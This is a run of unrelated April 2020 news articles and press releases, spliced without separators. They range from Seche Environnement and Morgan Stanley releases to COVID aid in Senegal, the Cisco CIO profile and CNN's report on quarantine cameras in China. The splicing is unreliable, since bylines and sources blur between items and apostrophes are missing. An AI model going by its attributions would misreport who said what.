hazardous and non-hazardous waste; a comprehensive range of treatment solutions for solid, liquid and gaseous waste (thermal, physical-chemical and radiation treatment, etc.); the storage of final hazardous and non-hazardous waste; eco-services such as decontamination, decommissioning, asbestos removal and rehabilitation; the global management of environmental services under outsourcing agreements. Leveraging its extensive expertise, Seche Environnement operates in more than 15 countries around the world and is developing rapidly internationally through organic growth and acquisitions. Already operating in Europe (Spain and Germany, and now Italy) Seche Environnement has recently taken a leading position in Latin America (Peru and Chile) and in South Africa. The Group currently employs around 4,500 people worldwide (including about 2,000 in France). Seche Environnement has been listed on Eurolist by Euronext (Compartment B) since November 27, 1997. It is eligible for equity savings funds dedicated to investing in SMEs and is listed in the CAC Mid&Small and Enternext PEA-PME 150 indexes. Important notice This press release may contain information of a provisional nature. This information represents either trends or targets as of the date of publication of the press release and may not be considered as results forecasts or as any other type of performance indicator. This information is by nature subject to risks and uncertainties which are difficult to foresee and are usually beyond the Company's control, which may imply that expected results and developments differ significantly from announced trends and targets. These risks notably include those described in the Company's Registration Document, which is available on its website (www.groupe-seche.com). This information therefore does not reflect the Company's future performance, which may differ considerably, and no guarantee can be given as to the achievement of these forward-looking figures. The Company makes no commitment on the updating of this information. More detailed information on the Company can be obtained on its website (www.groupe-seche.com), in the Regulated Information section. This press release does not constitute an offer of shares or a solicitation in view of an offer of shares in any country, including the United States. Distribution of this press release may be subject to the laws and regulations in force in France or other countries. Persons in possession of this press release must be aware of these restrictions and observe them. 1 See the "Definitions" section 2 See the press release of March 9, 2020. 3 See the press release of December 17, 2019. 4 See press release of March 9, 2020 and presentation to analysts of March 10, 2020 View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005500/en/ Contacts: Seche Environnement Manuel Andersen Head of Investor Relations +33 (0)1 53 21 53 60 m.andersen@groupe-seche.com Source: Xinhua| 2020-04-29 01:03:35|Editor: huaxia Video Player Close DAKAR, April 28 (Xinhua) -- The outbreak of COVID-19 in Senegal, with the increasing number of confirmed cases in the past two months, has greatly worried the country. In the fight against COVID-19, Chinese medical mission and Chinese community based in Senegal have spared no effort to help the West African country. Recently, during the reception ceremony of the second batch of medical aids offered by Chinese government to Senegal, Senegalese health minister Abdoulaye Diouf Sarr, on behalf of Senegalese President Macky Sall and Senegalese government, thanked China for the assistance and solidarity it has offered during Senegal's fight against COVID-19. Since the very beginning of the pandemic in Senegal, Chinese-aided projects in Senegal have been playing an important role in supporting the efforts of Senegalese government to contain the spread of the novel coronavirus. The Children Hospital of Diamniadio, constructed by Jiangsu Provincial Construction Group in 2012, was designated in March by Senegalese government as an isolation center for suspected cases. "We actively cooperate with Senegalese government and finished the adjustment of the internal facilities of the hospital and the transformation of the isolation area," Gong Zhen, a project manager, told Xinhua. The headquarters of Gong's company also donated supplies worth some 130 million Francs CFA (about 210,000 U.S. dollars). As requested by Senegalese health ministry, about 100 beds were added to the hospital to enlarge the capacity of receiving COVID-19 suspected cases. The 18th Chinese medical mission also provided its assistance to local health authorities. Right after the first confirmed case of COVID-19 was reported on March 2 in Senegal, the Chinese medical team immediately shared China's anti-virus experience with Pikine National Hospital in suburb of Dakar. The Chief of the medical mission, Xu Wensheng, together with his respiratory physician Lai Deyi, also submitted detailed suggestions to the board of Pikine National Hospital to strengthen screening of suspected COVID-19 patients. According to the president of board of Pikine National Hospital, Amadou Niasse, the hospital's screening and prevention measures for COVID-19 suspect cases are made based on the suggestions of the Chinese medical mission, including a well-ventilated waiting area, a separate isolation tent. Amid the COVID-19 pandemic, the Chinese medical mission has been carrying out their daily routine consultations for Senegalese patients. In his daily work, acupuncture physiotherapist Chen Li, shared with his Senegalese counterparts and patients how traditional Chinese medicine could help treat COVID-19. Apart from sharing experience, the Chinese medical mission also donated a batch of medical supplies, medicine and equipments to Senegalese government as part of the bilateral cooperation in health sector. The Chinese community living in Senegal also donated medical materials and even organized a fundraising event to support Senegal. Some Chinese companies and local Chinese businesses have contributed about 170 million Francs CFA to different programs launched by the government. Hunan Provincial Construction Group, which constructed Senegal's National Wrestling Arena, has donated about 20,000 surgical masks. Twyford Ceramic, inaugurated last year by Senegalese president Macky Sall, also donated masks and disinfectant wipes. Manager of Twyford Ceramic Zheng Mingzao told Xinhua COVID-19 is a challenge for all, and people have to fight together. "We don't see us as a typical Chinese company. When we invest in Senegal, we choose to be a Senegalese company as well," he added. "This (donation) reflects China's friendship and solidarity to our country," Senegalese health minister Sarr said, adding Senegal, co-chair of the Forum on China-Africa Cooperation (FOCAC), is with China in the fight against COVID-19. Enditem NEW DELHI: The NITI Aayog building in the national capital was sealed for 48 hours after a director-level officer tested positive for coronavirus on Tuesday. A director-level officer working at NITI Bhawan has been tested positive for COVID-19. Today at 9 am, he got his report, and then he informed authorities," Alok Kumar, an adviser at NITI Aayog, said on Tuesday. He further said that those who came in contact with the person have been asked to go on self-quarantine. "We are following necessary protocol and the health ministry has been informed and all the due processes will be followed. So, we are closed for 48 hours," Kumar added. The NITI Aayog took to Twitter and informed that its building is undergoing disinfection and sanitisation after an official tested COVID-19 positive. An employee working at NITI Bhavan has been detected positive with COVID-19. It was informed to the authorities at 9 am this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed. NITI Aayog (@NITIAayog) April 28, 2020 Recently, the Aviation Ministry headquarters was also sealed after one of its employees who had attended office on April 15, tested positive for COVID-19. Meanwhile, on Tuesday, Union Health Minister Dr Harsh Vardhan said that no fresh case of coronavirus infection was reported in 80 districts in the last 7 days. During an interaction via video conferencing, the Health Minister said, In 47 districts, no case has been reported in the last 14 days, while 39 districts have not reported a case for the last 21 days. 17 districts have not reported a case for the last 28 days. Dr Harsh Vardhan further stated that the coronavirus doubling rate has also come down in the past week. For the last 14 days, our doubling rate is 8.7, while for the last 7 days, it is 10.2 days. In the last 3 days, it is 10.9 days roughly, The Union Health Minister said. He made this remark while interacting with the autonomous Institute of Department of Biotechnology, through video conferencing. Union Health Minister also later reviewed the current status of COVID19 surveillance in Delhi with Lieutenant Governor Anil Baijal, Delhi Health Minister Satyendra Jain, and other top officials of concerned departments through video conferencing. With 1,543 more COVID-19 cases reported in the last 24 hours, India`s tally of coronavirus cases reached 29,435, the Ministry of Health and Family Welfare said on Tuesday. The tally includes 21,632 patients who are active cases, 6,868 patients have been cured/discharged with one patient migrated. With 62 more deaths reported in the last 24 hours, making it the sharpest rise in the number of deaths so far, the number of deaths due to coronavirus stands at 934. South star Prabhas on Tuesday thanked his fans and team of "Baahubali 2: The Conclusion" on the third-year anniversary of the blockbuster's release. The actor, who attained pan-India star status after the release of the SS Rajamouli-directed films, said the sequel is the "biggest film" of his life and one of the "most memorable projects". "'Baahubali 2' was not just a film that the nation loved but also, the biggest film of my life. And, I'm grateful to my fans, team and director SS Rajamouli who made it one of the most memorable projects. "'Baahubali 2' completes three years and I'm delighted for all the love the film and I have received," Prabhas, 40, wrote on Instagram alongside some behind-the-scenes photos from the film's sets. "Baahubali: The Beginning", the first film in the series, released in 2015. It was the first Telugu film to get a worldwide release in Hindi. "Baahubali 2", which opened in 2017, became the biggest hit in the history of Indian cinema. Both parts were produced by Shobu Yarlagadda and Prasad Devineni. Bollywood filmmaker Karan Johar was attached as the distributor on both the films' Hindi version. The franchise also featured Rana Daggubati, Anushka Shetty, Tamannaah, Ramya Krishnan, Sathyaraj, Nassar and Subbaraju. Prabhas was last seen in "Saaho" opposite Shraddha Kapoor. The actor will next be seen in a film with Nag Ashwin. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) COVID-19 has made an already powerful spotlight burn a little brighter for Ciscos Group CIO, Jacqueline Guichelaar. The Australian expat was certainly no stranger to the challenges of facilitating secure remote working at scale, but the task of enabling it for all of the companys 140,000 staff as well as some 30,000 contractors and an entire community of supply chain workers wasnt something she would have considered when she took the job in February last year. When we originally started realising what was happening in China we jumped right on it, she tells CIO Australia. We saw the challenges they had just to keep the company going. It took the team just 10 days to have everyone up and running working remotely, up from between 10,000 and 20,000 prior to the crisis. Guichelaar acknowledges that without Ciscos own deep expertise and technology theres no way the job could have been done in such a short time frame, suggesting that companies of similar size would take 6-12 months to achieve the same without the right underlying technology platform. Being the CIO of a major technology vendor is not something many of her peers will ever do, and she accepts some may consider it to be a difficult challenge making the best technology decisions while balancing the commercial interests of the firm. With Ciscos broad portfolio of solutions its fair to say its by far and away its own preferred supplier, although Guichelaar stresses that the companys growing deployment of hybrid cloud has seen it procure services from a widening array of other solution providers. Were using some SaaS offerings we dont build ourselves. Were buying more commodity software and infrastructure where we need to, she says. Invariably being the CIO of a technology firm demands that you have some part in actual product development. At Cisco Guichelaar is one of the key voices in the companys Customer Zero initiative, which brings her and the IT team together with all the engineers bringing ideas to life in the labs, and then figuring out how to scale them for customer deployment. Im injecting the team further into the development life cycle. This in turn ensures she has a complete understanding and hands-on experience with every aspect of the portfolio, knowledge she is frequently asked to draw on in yet another role as an enterprise solutions consultant. The concept is that all products and services Cisco sell to other CIOs around, Guichelaar and Cisco are also customers. We could potentially provide advice on things that dont look like theyre working, she explains, adding CIOs often ask questions like how did you deploy App Dynamics? Banking experience Its not the first time Guichelaar has worked on the supplier side. Her first IT job after graduation was as a director of information technology with IBM in Sydney where she worked from 1993 to 1999, followed a by a three-year stint with the same title at DXC (formerly CSC). For the next 14 years she really cut her teeth in the financial services sector, beginning with three and half years as CIO (Europe, Middle East, Africa) with Deutsche Bank, based in Frankfurt. Clearly not averse to major relocations, she then returned to Australia as GM for National Australia Banks technology operations, working out of Melbourne for the next 12 months. Then it was back into the Deutsche Bank fold, this time as global head of technology production (Americas) based in New York for three years. Two years later Guichelaar was heading across the pond to London having been anointed the banks CIO of group IT. Following that it was two years running IT for Lloyds Banking Group and a year as CIO with media stalwarts Thomson Reuters before becoming CIO as Cisco in February 2019. She reflects that while the finance sector is clearly at the vanguard of digital transformation and innovation, its inherent regulatory and security constraints contrast sharply with the tech sector, making it relatively harder to drive change. In financial services its harder to drive change faster because you have more regulations, more checks and balances: Youre always having to find the right balance between security, speed and agility. Now with over year in the top tech job at Cisco Guichelaar says: Ive found a nice convergence of how tech companies run their organisations and how banks run their organisations and how to bring both worlds into one. In particular she feels the two industries have helped her refine an appreciation of the importance of creating great CX, and how best to achieve it. Were [Cisco] very fast at those things. But we dont compromise. Asked to nominate the most transformational technologies over the past five years, she continues down this same road. You could argue thats an obvious statement but Id say its the concept of self-service CX and how to you allow a customer to buy solutions that make it really easy for them to buy, download and implement, she says. The biggest transformation is development of solutions that make it easier to help customers get what they need. Everything we do should be about putting customers front and centre and making their lives better. Its one of the most repetitive mantras in business yet still the message is failing to get through to technology managers. Too many times I feel IT professionals dont put the customer first. It doesnt need to be complex, rather CIOs should focus initially on getting the fundamentals right. Guichelaar has been closely involved with the development of Cisco.com, and notes the power of one its simplest capabilities. If a small customer in Australia goes onto Cisco.com, we should be able to identify them and send them to our people in Australia. A big enterprise customer on the other hand will likely be routed to the international sales team. Looking ahead to the next five years, Guichelaar believes that conversations about technology will be even more dominated by networks, collaboration and security. The ability to be able to transact in a digitised way means we design our networks, security and collaboration to be at the centre of everything we do, she says. COVID-19 will accelerate this transition even further. Network collaboration and data centres have been at the heart of the industry for a long time: Now COVID-19 has made that front and centre, Guichelaar stresses. More people will communicate and collaborate via the internet into the future. In a more fundamental sense, she believes the crisis has also forced people to go back to the heart of what technology is, to discover what the new paradigm means for their organisation and to ensure theyre able to scale their digital platforms by a factor of two, three or more to meet demand and maintain continuity in the future. A mans world Something that strikes you talking to Jacqui Guichelaar is how down to earth and self-effacing she is. Long stints abroad California is home at the moment have done nothing to dilute her distinctly Australian accent, developed growing up in suburban Sydney. This despite being one of the highest profile and influential CIOs working today. And a women in one of the most male dominated professions around. According to the 2018 Harvey Nash KPMG CIO survey women held just 12 per cent of senior IT roles across the globe. Having enjoyed the success shes had, naturally its difficult for Guichelaar to conceive of it being a disadvantage being a woman, although she acknowledges that things do need to change. But she cautions against forms of affirmative action such as quotas, arguing that organisations need to think more in terms of diversity. Since I was a young girl my philosophy has always been about diversity of thought, Guichelaar explains. And fighting for her own voice whether in English, Spanish and Italian has always come naturally, having been born in Uruguay before migrating to Australia with her family in the 70s. And while something of a cliche for South American people, music is an important outlet and something which resonates diversity and creativity in Guichelaars own life. Only its not so much about candombe, murga or tango, rather 70s and 80s disco that gets her moving. Another thing youre unlikely to know about this unlikeliest of global CIOs is shes no slouch as a DJ, more than willing to get on stage spinning the decks herself to help the party along. In fact, her next certification may be a little left of field for one of the worlds top CIOs. I keep threatening Im going to start my DJ lessons. A group of investors in Hood River, Oregon's Double Mountain Brewery have formed the Double Mountain Foundation to assist laid off employees. With much of the hospitality industry laid-off due to the Coronavirus, workers are in need of help with shelter, food & healthcare costs to name a few things. Double Mountain foundation was awarded a $7,500 grant from The United Way of Columbia Gorge for gift cards for groceries and the Gorge Grown farmers market going to workers in need of assistance. The Double Mountain Foundation is seeking additional funding to establish a broader program that will include food assistance for hospitality workers throughout the Hood River Gorge community displaced by this crisis. The foundation is extremely grateful to this generous gift from the local community and hopes to expand donations to reach more restaurant and hospitality workers in the gorge. All funds raised will be distributed as direct support to eligible applicants in some of the following ways; Gift cards for groceries/gas/home supplies, rent, utilities, health insurance, medical supplies, car payments, transportation costs, and child care. There is room in the criteria to help in other ways on a case-by-case basis in acute instances of crisis. All grants will be paid directly to vendors or through gift cards. As Ive been reaching out to many restaurant owners, I hear a very similar story of hard working staff that have been laid off, but through the complexity of the overwhelmed unemployment system, still have received no assistance. It is heartbreaking. These families are struggling every day to make ends meet and put food on the table, says Matt Swihart, Foundation Board Member, and Owner of Double Mountain. Individuals or groups that would like to make a donation can find a link on our website at www.doublemountainbrewery.com/double-mountain-foundation/ or can be mailed to: Double Mountain Foundation PO Box 1660, Hood River, OR 97031 We have submitted our application to the IRS to qualify as a 501(c)(3) nonprofit organization, and are awaiting a likely tax-exempt certification. Donations are not guaranteed to be tax deductible until that status is confirmed. About Us The Double Mountain Foundation was organized during the pandemic COVID-19 outbreak after the closure of our restaurants and a dramatic downturn of our brewery business. Our mission is to provide financial assistance for current and former Double Mountain employees facing severe impacts on their personal lives during this crisis and provide a platform to assist our staff in the future for other traumatic events. We are a community service organization that can assist our local community with charitable projects that benefit the lives of our citizens to make our towns a thriving place to live. STATEN ISLAND, N.Y. -- In mid-March the region experienced something just as unprecedented as the coronavirus crisis: Chinese restaurants suddenly shut down. Their temporary absence stoked intense appetites for the cuisine as Staten Islanders salivated for Szechuan fare and spring rolls. Westerleigh resident Camille Mule Pizzo noticed an uptick in Chinese recipes shared in the last few weeks on her 2,500-plus member Facebook page, Quarantine Cuisine. Although she is not surprised at how sorely Asian restaurants have been missed. Almond cookies at home by Kerry Prosser Young of Marine Park, Brooklyn, a member of the Quarantine Cuisine Facebook blog established by Westerleigh resident Camille Mule Pizzo. (Courtesy of Kerry Prosser Young) Friday night is Chinese food night -- its the easiest thing to do. Order Chinese, pour a martini and binge on Netflix. What does that represent to most people? Its comfort, explained Pizzo, an administrative assistant for a Manhattan-based investment company whose passion is cooking. I find it astounding that people have found a way to find that comfort and that they made food they normally wouldnt have attempted, she said. Shes also impressed by the resourcefulness of her fellow quarantined cooks. They actually sourced ingredients at a time when shopping was at its most tedious during the pandemic. Inspired by their creations, she recently crafted a succulent-looking stir-fry of London Broil strips and broccoli plated with scoops of fluffy white rice. Next shes making Mongolian beef with sticky coconut rice and egg rolls. She shops for recipes through Instacart. About a week ago Daniel Iemola realized his go-to take-out spot Peking Taste in Tottenville wasnt picking up the phone. I was particularly craving some Chinese food, Iemola confessed. So he took to his own Pleasant Plains kitchen for panko-coated chicken tenders drizzled with a teriyaki glaze served with sauteed bok choy. Iemola, a trainer on copy machines when not cheffing at home, sourced his Asian ingredients from ShopRite in Charleston. It wasnt a bad substitute for the professionally cooked meal, "minus the nice little containers, said Iemola with a chuckle. Cooks share some tips: In the absence of Asian ingredients, Rev. Michael Bagnall, pastor at St. Johns Lutheran Church in Port Richmond, subbed pineapple juice for the desired yum from teriyaki. Pineapple could be persnickety: citrus macerates or cooks proteins with its inherent acids. And it can make the meat tough. But Bagnall loved his results and said the sugars from the juice gave the dish its proper caramelization. Helen Lau of Empire Szechuan in Eltingville (reopened on Tuesday, April 28) advises on authentic fried rice: Start with steamed rice, then season with soy sauce and a little salt. Oil is a must for moistening the dish and adding mouthfeel along with additions like diced carrots, peas, scallions and/or scrambled egg, Jac Mao of a recently reopened Jac Mao in Dongan Hills points to necessary seasonings to have on hand -- oyster sauce, soy sauce, chicken stock, fresh ginger and garlic. For a favorite Asian-glazed chicken, Iemola said, I used boneless, skinless chicken thighs, marinated them with soy sauce, minced garlic and ginger, some mirin, brown sugar sesame oil and corn starch. The corn starch acts as a thickener. Chinese food by Daniel Iemola of Pleasant Plains with teriyaki chicken thighs and quick fried rice. He posted this and other delicious-looking home-cooked creations on Where Staten Island Eats and Drinks' Facebook page. (Courtesy of Daniel Iemola) With no mirin, aka rice wine, Chef Lou Marfoglio of Daddinos Catering Hall in Seaview says to use sake or Chardonnay instead. He and friend Clem Caserta Jr. ventured into the Chinese cooking game. On a recent Friday night they commandeered the catering halls kitchen to produce chicken lo mein, beef and broccoli, pork fried rice and vegetable egg rolls. For $19 per guest Marfoglio and Casertas dinners came delivered with a clementine as a nod to the traditional orange finish one might enjoy at a Chinatown eatery. Marfoglio might dabble again in the dishes if Chinese restaurants dont return soon. He said his meals were well-received. One person said it was like an Italian grandmother cooked an Asian meal for them, he said. Although Ive done Chinese food before it wasnt on the delivery level. And I now have a whole new respect for the cuisine as a result. Pamela Silvestri is Advance Food Editor. She can be reached at silvestri@siadvance.com. But the introduction of Trainas third guest Los Angeles-based comedian Doug Bass also introduced a brief improvisational interlude to the show where Traina and Bass took argument suggestions from the audience and then improvised one minute arguments. This section and a later interactive section where audience members wrote down something they would like to say to an ex and then Traina and Bass incorporated those phrases into improvised scenes were the roughest of the night, throwing off the stand-up groove and not delivering many laughs in the process. These sections could be shortened or removed completely and replaced with an additional comic or two giving more perspective on their failed relationships. A pilot has sparked complaints over an alleged breach of lockdown rules after spelling out "NHS" using his plane's flightpath. The journey by the Reims-Cessna F150 from Blackbushe Airport, Hampshire, paid tribute to healthcare workers over the towns of Newbury and Reading in Berkshire. The acronym NHS can be seen on the aircraft's flightpath, recorded on website flightrader24. Under Department of Transport rules, small aircraft are allowed to take short flights during the lockdown to ensure their engines are not damaged by lack of use. Blackbushe Airport posted on Twitter: "Whilst we appreciate this particular pilot's intention, it is well outside of what is permitted and we will be addressing this with the pilot concerned." It had also posted on April 25: "Today we are accommodating Engine Health Flights in accordance with CAA rules." UK landmarks light up blue for NHS staff fighting coronavirus 1 /25 UK landmarks light up blue for NHS staff fighting coronavirus The Shard in London is lit up in blue in a gesture of thanks to the hardworking NHS staff fighting against coronavirus Tower Bridge in London is lit up in blue in a gesture of thanks to hardworking NHS staff PA Tower Bridge in London is lit up in blue in a gesture of thanks to hardworking NHS staff The London Eye is pictured lit blue in support of the NHS Reuters London's Piccadilly Circus saluting local heroes during Thursday's nationwide Clap for Carers NHS initiative to applaud NHS workers fighting the coronavirus pandemic PA Selfridges lit up in blue in a gesture of thanks to the hardworking NHS staff fighting coronavirus on the frontline PA Fulwell Windmill in Sunderland is lit up in blue in a gesture of thanks to the hardworking NHS staff fighting coronavirus PA MediaCityUK in Manchester lit up in blue in a gesture of thanks to hardworking NHS staff PA Northern Spire Bridge in Sunderland is lit up in blue in a gesture of thanks to hardworking NHS staff PA Belfast City Hall is lit up in support of the NHS Reuters The SSE Arena, Wembley, is seen with a lit up sign for the Clap For Our Carers campaign REUTERS Tawstock Court in Barnstaple lit up in blue PA Ashton Gate, the home of Bristol City FC is lit up in blue in a gesture of thanks PA Wembley stadium is seen lit up blue REUTERS Wembley Arch in London is lit up in blue PA The Lowry lit up in blue in a gesture of thanks to the hardworking NHS staff who are trying to battle coronavirus. PA The Tyne Bridge in Newcastle is lit up in blue in a gesture of thanks to the hardworking NHS staff PA People applaud infront of big screen in Piccadilly Circus during the Clap For Our Carers campaign Reuters The Shard in London is lit up blue Other Twitter users questioned the right of pilots to fly their planes during the lockdown. One person wrote: "Why are small planes allowed up for a jolly? Is this ESSENTIAL? We get pulled over by #TVP (Thames Valley Police) going to shops or work which is essential!! Small aircraft jolly's are NOT Essential" Guidance on the Civil Aviation Authority (CAA) website states that flights of no more than 30 minutes are allowed once every four weeks unless otherwise required under manufacturer guidelines. Aircraft should also remain within the airfield circuit and "should not travel beyond a 10nm (nautical miles) radius of its departure aerodrome and no dynamic manoeuvring activity should be flown". It adds: "Each flight should be at the highest practical height to minimise to the noise impact on members of the public maintaining social distancing." [April 28, 2020] Morgan Stanley Increases COVID-19 Charitable Commitment to $25 Million Morgan Stanley (NYSE:MS) today announced an additional $15 million in grants to support the ongoing relief efforts to the global COVID-19 crisis. Building upon the Firm's previously announced COVID-19 relief commitment of $10 million, this new grant will support organizations that are fighting hunger as well as organizations focused on disease control, caring for the sick, and financial support for those most vulnerable in our communities who are struggling with the economic loss. As part of this commitment, the Firm is launching the Morgan Stanley COVID-19 Hunger Relief Campaign, which incentivizes employees globally to contribute to local feeding programs. This new initiative will facilitate employee contributions to critical feeding partners in all of the Firm's major global locations. The Firm will match employee contributions dollar for dollar up to $5,000 per employee for designated feeding programs. Beyond the tragic loss of life, COVID-19 is having devastating effects on food insecurity where, even in developed countries, food prices have increased dramatically. Exasperated by loss of income and lost school lunch programs, many people have and continue to turn to charitale organizations to feed their families. In the U.S. alone, Feeding America estimates that as many as 54 million Americans will need assistance this year, a more than 45 percent jump in need. "Food insecurity is an issue that Morgan Stanley and our Foundations have focused on for decades, and we are committed to supporting our partner organizations that are on the front lines of addressing this problem during the current health crisis," said Joan Steinberg, Global Head of Philanthropy at Morgan Stanley. "We know that families who do not have enough to eat simply do not thrive, and they greatly need support during this time." This grant is in addition to the Firm's previously announced $10 million commitment to COVID-19 relief efforts, supporting critical frontline medical responders globally as well as community providers serving those economically impacted by the crisis. Morgan Stanley is a leading global financial services firm providing investment banking, securities, wealth management and investment management services. With offices in more than 41 countries, the Firm's employees serve clients worldwide including corporations, governments, institutions and individuals. For more information about Morgan Stanley, please visit www.morganstanley.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005538/en/ [ Back To TMCnet.com's Homepage ] SAN DIEGO, April 28, 2020 /PRNewswire/ -- Madison Avenue Securities, LLC (www.mas-bd.com) announced this week that they had completed the rollout of a new and improved back office system to be used by their network of Financial Advisors. The new system that they have named "Omnio Pro" will serve as the firm's commission processing and compliance management system. The system is also designed to be the firm's new "front end" account opening platform. "Our proprietary Omnio Pro system completely modernizes the way we transact business," says Marty McNees, President of Madison Avenue Securities. "It also has the flexibility we need to adapt to a continuously changing business environment for years to come," he continues. Casey Cotton, Madison Avenue Securities' Chief Technology Officer is also enthusiastic about the launch of Omnio Pro. "We are excited about the release of Omnio Pro, as we now have a hub that is the central platform for all of our technology," says the CTO. "This new technology will eventually take Madison Avenue Securities to a completely digital experience for our Advisors and their Clients. Omnio Pro is a highly adaptable, dynamic system and, as we stand today, we have only begun to scratch the surface of its capabilities." When asked about the system, Madison Avenue Securities' Chief Operating Officer, Villy Fixsen noted, "We've been looking to ease the paperwork burden on our Financial Advisor community for a long time. I'm confident this system will bring our processing behaviors to the next level." The Omnio Pro system was rolled out to Madison Avenue Securities' network of affiliated Financial Advisors on Monday, April 27, 2020. About Madison Avenue Securities, LLC Madison Avenue Securities, LLC is a boutique Registered Investment Adviser and Broker-Dealer headquartered in San Diego, CA and conducts business through its affiliated financial professionals located in over 100 locations throughout the U.S. www.mas-bd.com SOURCE Madison Avenue Securities, LLC Related Links http://www.mas-bd.com The morning after Ian Lahiffe returned to Beijing, he found a surveillance camera being mounted on the wall outside his apartment door. Its lens was pointing right at him. After a trip to southern China, the 34-year-old Irish expat and his family were starting their two-week home quarantine, a mandatory measure enforced by the Beijing government to stop the spread of the novel coronavirus. He said he opened the door as the camera was being installed, without warning. "(Having a camera outside your door is) an incredible erosion of privacy," said Lahiffe. "It just seems to be a massive data grab. And I don't know how much of it is actually legal." A surveillance camera was installed outside Ian Lahiffes front door the morning after he returned to Beijing. A surveillance camera was installed outside Ian Lahiffe's front door the morning after he returned to Beijing. Although there is no official announcement stating that cameras must be fixed outside the homes of people under quarantine, it has been happening in some cities across China since at least February, according to three people who recounted their experience with the cameras to CNN, as well as social media posts and government statements. China currently has no specific national law to regulate the use of surveillance cameras, but the devices are already a regular part of public life: they're often there watching when people cross the street, enter a shopping mall, dine in a restaurant, board a bus or even sit in a school classroom. More than 20 million cameras had been installed across China as of 2017, according to state broadcaster CCTV. But other sources suggest a much higher number. According to a report from IHS Markit Technology, now a part of Informa Tech, China had 349 million surveillance cameras installed as of 2018, nearly five times the number of cameras in the United States. China also has eight of the world's 10 most surveilled cities based on the number of cameras per 1,000 people, according to UK-based technology research firm Comparitech. But now the pandemic has brought surveillance cameras closer to people's private lives: from public spaces in the city right to the front doors of their homes -- and in some rare cases, surveillance cameras inside their apartments. CNN has requested comment from China's National Health Commission. The Ministry of Public Security did not accept CNN's faxed requests for comment. Evolution of Tactics China is already using a digital "health code" system to control people's movements and decide who should go into quarantine. To enforce home quarantine, local authorities have again resorted to technology -- and have been open about the use of surveillance cameras. A sub-district office of the government in Nanjing, in eastern Jiangsu province, said it had installed cameras outside the doors of people under self-quarantine to monitor them 24 hours a day -- a move that "helped save personnel expenditures and increased work efficiency," according to its February 16 post on Weibo, China's twitter-like platform. In Hebei province, the Wuchongan county government in the city of Qianan also said it was using surveillance cameras to monitor residents quarantined at home, according to a statement on its website. In the city of Changchun in northeastern Jilin province, the quarantine cameras in Chaoyang district are powered with artificial intelligence to detect human shapes, the district government said on its website. In the eastern city of Hangzhou, China Unicom, a state-owned telecom operator, helped the local governments install 238 cameras to monitor home-quarantined residents as of February 8, the company said in a Weibo post. On Weibo, some people posted photos of cameras they said were newly put up outside their doors, as they went into home quarantine in Beijing, Shenzhen, Nanjing and Changzhou, among other cities. Some appeared to accept the surveillance, although it remains unclear how much criticism against the measure is tolerated on the country's closely monitored and censored internet. A Weibo user, who went into home quarantine after returning to Beijing from Hubei province, said she was told in advance by her neighborhood committee that a camera and an alarm would be installed on her front door. "(I) fully respect and understand the arrangement," she wrote. Another Beijing resident said he did not think the camera was necessary, "but since it is a standard requirement, (I'm) happy to accept it," wrote a person who identified himself as Tian Zengjun, a lawyer in Beijing. Others, worried about the virus' spread in their communities, called for local authorities to install surveillance cameras to ensure people obey quarantine rules. Jason Lau, a privacy expert and professor at Hong Kong Baptist University, said people across China had grown accustomed to prevalent surveillance long before the coronavirus. "In China, people probably already assume that the government has access to a lot of their data anyway. If they think the measures are going to keep them safe, keep the community safe and are in the best interest of the public, they may not worry too much about it," he said. Cameras inside homes Some people say cameras have even been placed inside their homes. William Zhou, a public servant, returned to the city of Changzhou, in eastern Jiangsu province, from his native Anhui province in late February. The next day, he said a community worker and a police officer came to his apartment and set up a camera pointing at his front door -- from a cabinet wall inside his home. Zhou said he did not like the idea. He asked the community worker what the camera would record and the community worker showed him the footage on his smartphone. "I was standing in my living room and the camera captured me clearly in its frame," said Zhou, who asked to use a pseudonym for fear of repercussions. Zhou was furious. He asked why the camera couldn't be placed outside instead, but the police officer told him it might get vandalized. In the end, he said the camera stayed on the cabinet despite his strong protest. On that evening, Zhou said he called the mayor's hotline and the local epidemic control command center to complain. Two days later, two local government officials turned up at his door, asking him to understand and cooperate with the government's epidemic control efforts. They also told him the camera would only take still images when his door moved and wouldn't record any video or audio. But Zhou remained unconvinced. "(The camera) had a huge impact on me psychologically," he said. "I tried not to make phone calls, fearing the camera would record my conversations by any chance. I couldn't stop worrying even when I went to sleep, after I closed the bedroom door." Zhou said he would have been fine with having the camera placed outside his front door, because he wouldn't open the door to go out anyway. "Installing it inside my home is a huge invasion of my privacy," he said. Zhou said two other residents who were under quarantine in his residential compound told him they also had cameras installed inside their homes. The epidemic control command center of the district Zhou lives in confirmed to CNN the use of cameras to enforce home quarantine, but declined to give further details. In the eastern city of Nanjing, the Chunxi sub-district government posted photos on Weibo showing how authorities were using cameras to ensure quarantine. One photo showed a camera standing on a cabinet inside an apartment. Another showed a screenshot of footage of four cameras, some of which appeared to have been shot from inside people's homes. The Chuxi sub-district government declined to comment. The epidemic control command center in the district said the installation of cameras was not a mandatory policy, and some sub-district governments have chosen to adopt the measure themselves. [hq]How do the cameras work? [/hq] There is no official tally on the number of cameras installed to enforce home quarantine across China. But the Chaoyang district government in Jilin, a city of four million people, said in a statement that it had installed 500 cameras as of February 8. Around the world, governments have adopted less intrusive technologies to track whether a person leaves their apartment. In Hong Kong, for example, all international arrivals undergoing a two-week home quarantine must wear an electronic bracelet, which connects to a smartphone app that alerts authorities if they stray from their apartments or hotel rooms. South Korea uses an app that tracks locations with GPS and sends alerts when people leave quarantine. Last month, Poland launched an app that allows people under quarantine to send selfies to let authorities know they're staying home. Even in Beijing not everyone in home quarantine has a camera outside their home. Two residents, who recently returned to the city from Wuhan, said they had a magnetic alarm installed to their apartment doors, which would notify community workers if they stepped outside. CNN has reached out to Beijing authorities for comment. Lahiffe, the Irish expat who lives in Beijing, believes the footage from his camera is being monitored by the community workers at his residential compound, who are charged with making sure he stays home and doesn't have visitors -- all from a smartphone. "The guy's phone has an app which (shows) all the doors," Lahiffe said of one of the community workers who had come to install the camera. "You can see all the doors of the different cameras that have been installed," he said, adding that he saw more than 30 doors on the app, all from his residential complex which he says is lived in by "mostly foreigners." In China, every urban residential community is managed by a neighborhood committee, a communist legacy from the Mao era that has now become the foundation of a "grid management" system of social control supported by high tech and big data. Officially, these are self-governing bodies that manage and educate residents. But they also serve as the governments' eyes and ears at the grassroots level, helping to maintain stability by watching over millions of residents nationwide 